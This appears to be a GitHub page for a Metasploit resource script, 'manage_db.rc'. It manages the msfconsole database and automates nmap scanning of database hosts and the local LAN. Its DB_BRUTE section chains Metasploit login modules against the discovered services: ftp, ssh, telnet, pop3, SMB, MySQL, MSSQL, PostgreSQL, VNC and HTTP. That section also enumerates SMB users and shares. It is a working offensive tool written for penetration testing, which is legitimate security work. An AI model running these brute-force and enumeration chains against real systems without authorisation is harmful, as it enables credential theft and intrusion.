-
Notifications
You must be signed in to change notification settings - Fork 40
/
manage_db.rc
523 lines (481 loc) · 22.6 KB
/
manage_db.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
<ruby>
help = %Q|
Description:
This Metasploit RC file can be used to manage msfconsole database tasks:
Display database data, record msfconsole activity, add hosts to database,
import files.xml import list of hosts contained on a text file (one-per-line-entries)
auto_brute-force db hosts by service name, auto_search compatible auxiliarys modules
based on db hosts service names input and clean all database data at script exit.
'Execute this script without any args (setg) to display script options available'
Execute in msfconsole:
resource <path-to-script>/manage_db.rc
Author:
r00t-3xp10it <pedroubuntu10[at]gmail.com>
|
print_line(help)
Rex::sleep(2.0)
print_line("")
## Make sure we are connected to db
unless framework.db.active
print_error("Database not connected to postgresql.")
print_warning("[execute] service postgresql start")
run_single("exit")
return nil
else
print_good("Database connected to postgresql.")
Rex::sleep(1.0)
end
## Record msfconsole activity
if (framework.datastore['RECORD'] == "true")
run_single("spool #{local}/logs/database.log")
Rex::sleep(1.0)
end
## Adds manually hosts to database and scan them with db_nmap
unless (framework.datastore['DBHOST'] == nil or framework.datastore['DBHOST'] == '')
print_line("")
print_line("Hosts to import")
print_line("=======================")
run_single("hosts -a #{framework.datastore['DBHOST']}")
print_status("Scanning new targets (db_nmap)")
Rex::sleep(1.0)
run_single("db_nmap -sV -v -Pn -T4 -n -O --open #{framework.datastore['DBHOST']}")
Rex::sleep(1.0)
end
## Import to current database a text list of hosts (one-per-line-entries)
unless (framework.datastore['TXT_IMPORT'] == nil or framework.datastore['TXT_IMPORT'] == '')
check_import = "#{framework.datastore['TXT_IMPORT']}"
## Make sure that file to import exists
unless (File.exist?(check_import))
print_error("[ERROR] File to be imported not found.")
print_error("[ERROR] #{check_import}")
run_single("unsetg all")
return nil
end
## Read contents of file to import, parse data and start msf portscanner
import_txt = File.read(check_import)
parse_data = import_txt.split(' ').join(' ')
print_line("")
print_line("List of hosts to import")
print_line("=======================")
run_single("hosts -a #{parse_data}")
Rex::sleep(1.5)
print_status("Scanning new targets (db_nmap)")
Rex::sleep(1.0)
run_single("db_nmap -sV -v -Pn -T4 -n -O --open #{parse_data}")
Rex::sleep(2.5)
end
## Import to database one xml file (nmap, wireshark or metasploit supported)
unless (framework.datastore['XML_IMPORT'] == nil or framework.datastore['XML_IMPORT'] == '')
xml_file = "#{framework.datastore['XML_IMPORT']}"
print_status("Import xml: #{xml_file}")
## Make sure that the file to import exists
unless (File.exist?(xml_file))
print_error("[ERROR] Script can not find the path inputed.")
print_error("[ERROR] #{xml_file}")
run_single("unsetg all")
return nil
end
run_single("db_import #{framework.datastore['XML_IMPORT']}")
Rex::sleep(1.0)
end
if (framework.datastore['LOCAL_SCAN'] == "true")
print_warning("Scanning local lan for alive hosts (21:22:23:80:110:445:3306)")
run_single("db_nmap -sV -v -Pn -T4 -n -p 21,22,23,80,110,445,3306 --open 192.168.1.0/24")
end
## Read current database and declare local vars
run_single("workspace -v")
Rex::sleep(1.0)
xhost = framework.db.hosts.map(&:address).join(' ')
xport = framework.db.services.map(&:port).join(' ')
proto = framework.db.services.map(&:name).join(' ')
## Do not display the next table IF database does not contain any hosts
unless xhost.nil? or xhost == '' or xhost == ' '
run_single("hosts -c address,os_name,os_flavor,vulns")
print_line("")
Rex::sleep(1.0)
run_single("services -c port,proto,name,state -u")
print_line("")
Rex::sleep(1.0)
end
print_line("")
## Scan current database hosts with nmap framework
if (framework.datastore['DB_SCAN'] == "true")
print_warning("Scanning database hosts with nmap.")
unless xhost.nil? or xhost == '' or xhost == ' '
print_status("RHOSTS: #{xhost}")
## setting speend of scan based on nº of hosts
len = xhost.length()
if xhost.length() > 200
print_status("LENGTH: #{len} => -T5 (scan speed)")
run_single("db_nmap -sV -v -Pn -T5 -n --open #{xhost}")
else
print_status("LENGTH: #{len} => -T4 (scan speed)")
run_single("db_nmap -sV -v -Pn -T4 -n -O --open #{xhost}")
end
print_line("")
run_single("hosts -c address,name,os_name,purpose")
print_line("")
run_single("services -c port,proto,name,state -u")
print_line("")
Rex::sleep(1.0)
else
print_error("[ERROR] None hosts found in current database.")
Rex::sleep(2.0)
run_single("unsetg all")
return nil
end
end
## Displays auxiliary modules based on db service names
if (framework.datastore['DB_AUX'] == "true")
print_line(" Sellect auxiliary modules based on db service names:")
print_line(" ----------------------------------------------------")
Rex::sleep(1.5)
## List of service names supported by this function
unless proto =~ /ftp/i or proto =~ /ssh/i or proto =~ /telnet/i or proto =~ /smb/i or proto =~ /netbios/i or proto =~ /msrcp/i or proto =~ /pop3/i or proto =~ /mssql/i or proto =~ /mysql/i or proto =~ /http/i or proto =~ /smtp/i or proto =~ /imap/i or proto =~ /postgresql/i or proto =~ /postgres/i or proto =~ /vnc/i
print_error("[ERROR] None services names found in current database.")
print_line(" ----------------------------------------------------")
Rex::sleep(2.0)
run_single("unsetg all")
return nil
end
if proto =~ /ftp/i
run_single("grep -m 5 scanner search name:ftp type:auxiliary")
end
if proto =~ /ssh/i
run_single("grep -m 5 scanner search name:ssh type:auxiliary")
end
if proto =~ /telnet/i
run_single("grep -m 5 scanner search name:telnet type:auxiliary")
end
if proto =~ /smb/i or proto =~ /netbios/i or proto =~ /msrpc/i
run_single("grep -m 5 scanner search name:smb type:auxiliary")
end
if proto =~ /pop3/i
run_single("grep -m 5 scanner search name:pop3 type:auxiliary")
end
if proto =~ /ms-sql-s/i or proto =~ /mssql/i or proto =~ /mssql-m/i
run_single("grep -m 5 scanner search name:mssql type:auxiliary")
end
if proto =~ /mysql/i
run_single("grep -m 5 scanner search name:mysql type:auxiliary")
end
if proto =~ /http/i
run_single("grep -m 5 scanner search name:http type:auxiliary")
end
if proto =~ /smtp/i
run_single("grep -m 5 scanner search name:smtp type:auxiliary")
end
if proto =~ /imap/i
run_single("grep -m 5 scanner search name:imap type:auxiliary")
end
if proto =~ /postgresql/i
run_single("grep -m 5 scanner search name:postgresql type:auxiliary")
end
if proto =~ /vnc/i
run_single("grep -m 5 scanner search name:vnc type:auxiliary")
end
print_line(" ----------------------------------------------------")
print_line("")
end
## Brute force database hosts based on service names
unless (framework.datastore['DB_BRUTE'] == nil or framework.datastore['DB_BRUTE'] == '')
xport = framework.db.services.map(&:port).join(' ')
proto = framework.db.services.map(&:name).join(' ')
## Make sure the protocol sellected exists
unless proto =~ /#{framework.datastore['DB_BRUTE']}/i
print_error("[ERROR] Service [#{framework.datastore['DB_BRUTE']}] not found in database.")
Rex::sleep(2.5)
run_single("unsetg all")
return nil
end
## List of service names supported by this function
unless (framework.datastore['DB_BRUTE'] == "ftp" or framework.datastore['DB_BRUTE'] == "ssh" or framework.datastore['DB_BRUTE'] == "telnet" or framework.datastore['DB_BRUTE'] == "smb" or framework.datastore['DB_BRUTE'] == "netbios" or framework.datastore['DB_BRUTE'] == "msrpc" or framework.datastore['DB_BRUTE'] == "pop3" or framework.datastore['DB_BRUTE'] == "mssql" or framework.datastore['DB_BRUTE'] == "mysql" or framework.datastore['DB_BRUTE'] == "http" or framework.datastore['DB_BRUTE'] == "postgresql" or framework.datastore['DB_BRUTE'] == "postgres" or framework.datastore['DB_BRUTE'] == "vnc")
print_error("[ERROR] This option does not accept [#{framework.datastore['DB_BRUTE']}] service names.")
print_warning("Service names supported: ftp|ssh|telnet|smb|netbios|msrpc|pop3|mssql|mysql|postgresql|postgres|vnc|http")
Rex::sleep(2.0)
run_single("unsetg all")
return nil
end
## Start brute force based on current database hosts service names
run_single("setg USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt")
if xport =~ /21/i or proto =~ /ftp/i
if (framework.datastore['DB_BRUTE'] == "ftp")
print_warning("Remote Target port: 21 ftp found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/ftp/ftp_version")
run_single("set FTPPASS ReadTeam")
run_single("set THREADS 16")
run_single("services -c name -S ftp -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/ftp/anonymous")
run_single("set FTPPASS ReadTeam")
run_single("set THREADS 16")
run_single("services -c name -S ftp -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/ftp/ftp_login")
run_single("set STOP_ON_SUCCESS true")
run_single("set BRUTEFORCE_SPEED 4")
run_single("set THREADS 16")
run_single("services -c name -S ftp -u -R")
run_single("exploit")
end
end
if xport =~ /22/i or proto =~ /ssh/i
if (framework.datastore['DB_BRUTE'] == "ssh")
print_warning("Remote Target port: 22 ssh found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/ssh/ssh_login")
run_single("set STOP_ON_SUCCESS true")
run_single("set VERBOSE true")
run_single("set THREADS 13")
run_single("services -c name -S ssh -u -R")
run_single("exploit")
end
end
if xport =~ /23/i or proto =~ /telnet/i
if (framework.datastore['DB_BRUTE'] == "telnet")
print_warning("Remote Target port: 23 telnet found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/telnet/telnet_version")
run_single("services -c name -S telnet -R")
run_single("exploit")
run_single("use auxiliary/scanner/telnet/telnet_login")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 16")
run_single("services -c name -S telnet -R")
run_single("exploit")
end
end
if xport =~ /110/i or proto =~ /pop3/i
if (framework.datastore['DB_BRUTE'] == "pop3")
print_warning("Remote Target port: 110 pop3 found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/pop3/pop3_version")
run_single("set THREADS 20")
run_single("services -c name -S pop3 -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/pop3/pop3_login")
run_single("set STOP_ON_SUCCESS true")
run_single("set BRUTEFORCE_SPEED 4")
run_single("unset USER_FILE")
run_single("unset PASS_FILE")
run_single("set THREADS 10")
run_single("services -c name -S pop3 -u -R")
run_single("exploit")
end
end
if xport =~ /445/i or proto =~ /smb/i or proto =~ /netbios/i or proto =~ /msrpc/i
if (framework.datastore['DB_BRUTE'] == "smb")
print_warning("Remote Target port: 445 smb found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/smb/smb_version")
run_single("set THREADS 16")
run_single("services -c name -S smb -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_lookupsid")
run_single("set THREADS 16")
run_single("services -c name -S smb -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_enumusers")
run_single("set THREADS 16")
run_single("services -c name -S smb -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_enumshares")
run_single("set THREADS 16")
run_single("services -c name -S smb -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_login")
run_single("set STOP_ON_SUCCESS true")
run_single("unset USER_FILE")
run_single("unset PASS_FILE")
run_single("set THREADS 10")
run_single("services -c name -S smb -u -R")
run_single("exploit")
end
end
if xport =~ /3306/i or proto =~ /mysql/i
if (framework.datastore['DB_BRUTE'] == "mysql")
print_warning("Remote Target port 3306 mysql found.")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/mysql/mysql_version")
run_single("set THREADS 16")
run_single("services -c name -S mysql -u -R")
run_single("exploit")
Rex::sleep(1.5)
run_single("use auxiliary/scanner/mysql/mysql_login")
run_single("set STOP_ON_SUCCESS true")
run_single("set VERBOSE true")
run_single("set THREADS 25")
run_single("services -c name -S mysql -u -R")
run_single("exploit")
Rex::sleep(1.5)
end
end
if xport =~ /1433/i or proto =~ /mssql/i
if (framework.datastore['DB_BRUTE'] == "mssql")
print_warning("Remote Target port 1433 mssql found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/mssql/mssql_ping")
run_single("set THREADS 5")
run_single("services -c name -S mssql -R")
run_single("exploit")
run_single("use auxiliary/scanner/mssql/mssql_login")
run_single("set STOP_ON_SUCCESS true")
run_single("set VERBOSE true")
run_single("set THREADS 16")
run_single("services -c name -S mssql -R")
run_single("exploit")
end
end
if xport =~ /5432/i or proto =~ /postgresql/i or proto =~ /postgres/i
if (framework.datastore['DB_BRUTE'] == "postgresql" or framework.datastore['DB_BRUTE'] == "postgres")
print_warning("Remote Target port 5432 postgresql found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/postgres/postgres_version")
run_single("set VERBOSE true")
run_single("set THREADS 10")
run_single("services -c name -S postgresql -S postgres -R")
run_single("exploit")
run_single("use auxiliary/scanner/postgres/postgres_login")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 20")
run_single("services -c name -S postgresql -S postgres -R")
run_single("exploit")
end
end
if xport =~ /5900/i or proto =~ /vnc/i
if (framework.datastore['DB_BRUTE'] == "vnc")
print_warning("Remote Target port 5900 vnc found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/vnc/vnc_none_auth")
run_single("set THREADS 10")
run_single("services -c name -S vnc -R")
run_single("exploit")
run_single("use auxiliary/scanner/vnc/vnc_login")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 16")
run_single("services -c name -S vnc -R")
run_single("exploit")
end
end
if xport =~ /80/i or proto =~ /http/i
if (framework.datastore['DB_BRUTE'] == "http")
print_warning("Remote Target port: 80 http found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/http/title")
run_single("set THREADS 16")
run_single("services -c name -S http -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/options")
run_single("set THREADS 8")
run_single("services -c name -S http -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/dir_scanner")
run_single("set THREADS 30")
run_single("services -c name -S http -u -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/http_login")
run_single("set STOP_ON_SUCCESS true")
run_single("unset USER_FILE")
run_single("unset PASS_FILE")
run_single("set VERBOSE true")
run_single("set THREADS 32")
run_single("services -c name -S http -u -R")
run_single("exploit")
end
end
end
## Export list of services/hosts to one csv file (eg: ssh_hosts.CSV)
unless (framework.datastore['CSV_EXPORT'] == nil or framework.datastore['CSV_EXPORT'] == '')
xport = framework.db.services.map(&:port).join(' ')
proto = framework.db.services.map(&:name).join(' ')
## Make sure the protocol sellected exists
unless proto =~ /#{framework.datastore['CSV_EXPORT']}/i
print_error("[ERROR] Service name [#{framework.datastore['CSV_EXPORT']}] not found in database.")
Rex::sleep(2.5)
run_single("unsetg all")
return nil
end
print_warning("Exporting hosts with service #{framework.datastore['CSV_EXPORT']}")
print_line("")
run_single("services -c port,proto,name -S #{framework.datastore['CSV_EXPORT']}")
print_line("")
Rex::sleep(1.0)
run_single("services -c port,name -S #{framework.datastore['CSV_EXPORT']} -o #{framework.datastore['CSV_EXPORT']}_hosts.CSV")
end
## Execute another script.rc before manage_db.rc ends execution
unless (framework.datastore['RUN_RC'] == nil or framework.datastore['RUN_RC'] == '')
exec_rc = "#{framework.datastore['RUN_RC']}"
unless (File.exist?(exec_rc))
print_error("[ERROR] resource script to execute not found.")
print_warning("[SCRIPT] #{exec_rc}")
run_single("unsetg all")
return nil
end
print_warning("Executing 'another' script inside manage_db.rc tasks.")
if (framework.datastore['RANDOM_HOSTS'] == "true")
run_single("resource #{framework.datastore['RUN_RC']}")
else
## If random_hosts != nil then set rhosts global var
unless xhost.nil? or xhost == '' or xhost == ' '
if framework.datastore['RUN_RC'] =~ /handler.rc/i
run_single("resource #{framework.datastore['RUN_RC']}")
else
run_single("setg RHOSTS #{xhost}")
run_single("resource #{framework.datastore['RUN_RC']}")
end
else
run_single("resource #{framework.datastore['RUN_RC']}")
end
end
end
## Export all database data to database.xml local file
if (framework.datastore['XML_EXPORT'] == "true")
xhost = framework.db.hosts.map(&:address).join(' ')
unless xhost.nil? or xhost == '' or xhost == ' '
print_warning("Exporting database to: database.xml")
Rex::sleep(1.5)
run_single("db_export -f xml database.xml")
else
print_error("[ERROR] None data present in current db to be exported.")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
end
end
## Cleaning global vars or all database
print_warning("Cleaning global variables.")
Rex::sleep(1.5)
if (framework.datastore['CLEAN'] == "true")
run_single("unsetg all")
run_single("unset all")
print_warning("Cleaning current database.")
Rex::sleep(1.5)
run_single("hosts -d")
run_single("services -d")
print_line("")
else
run_single("unsetg all")
run_single("unset all")
print_line("")
end
## resource file main menu
print_line("")
print_line("Resource Commands Description")
print_line("----------------- -----------")
print_line("setg CLEAN true Clean database at exit")
print_line("setg RECORD true Record msfconsole activity")
print_line("setg DBHOST 10.10.10.3 Asign RHOSTS manually to database")
print_line("setg DB_SCAN true Auto-Scan database hosts with nmap")
print_line("setg LOCAL_SCAN true nmap scan local lan for alive hosts")
print_line("setg XML_IMPORT /root/dic.xml Import database.xml file to database")
print_line("setg TXT_IMPORT /root/dic.txt Import text hosts list (one-per-line)")
print_line("setg XML_EXPORT true Export contents of db to database.xml")
print_line("setg CSV_EXPORT http Export list of hosts based in service name")
print_line("setg DB_BRUTE smb Auto-Exploit db hosts based on service name")
print_line("setg DB_AUX true Auto-search auxiliarys based on db service names")
print_line("setg RUN_RC /root/script.rc Execute script.rc before manage_db.rc ends execution")
print_line("resource /root/manage_db.rc Execute this resource script")
print_line("")
run_single("back")
</ruby>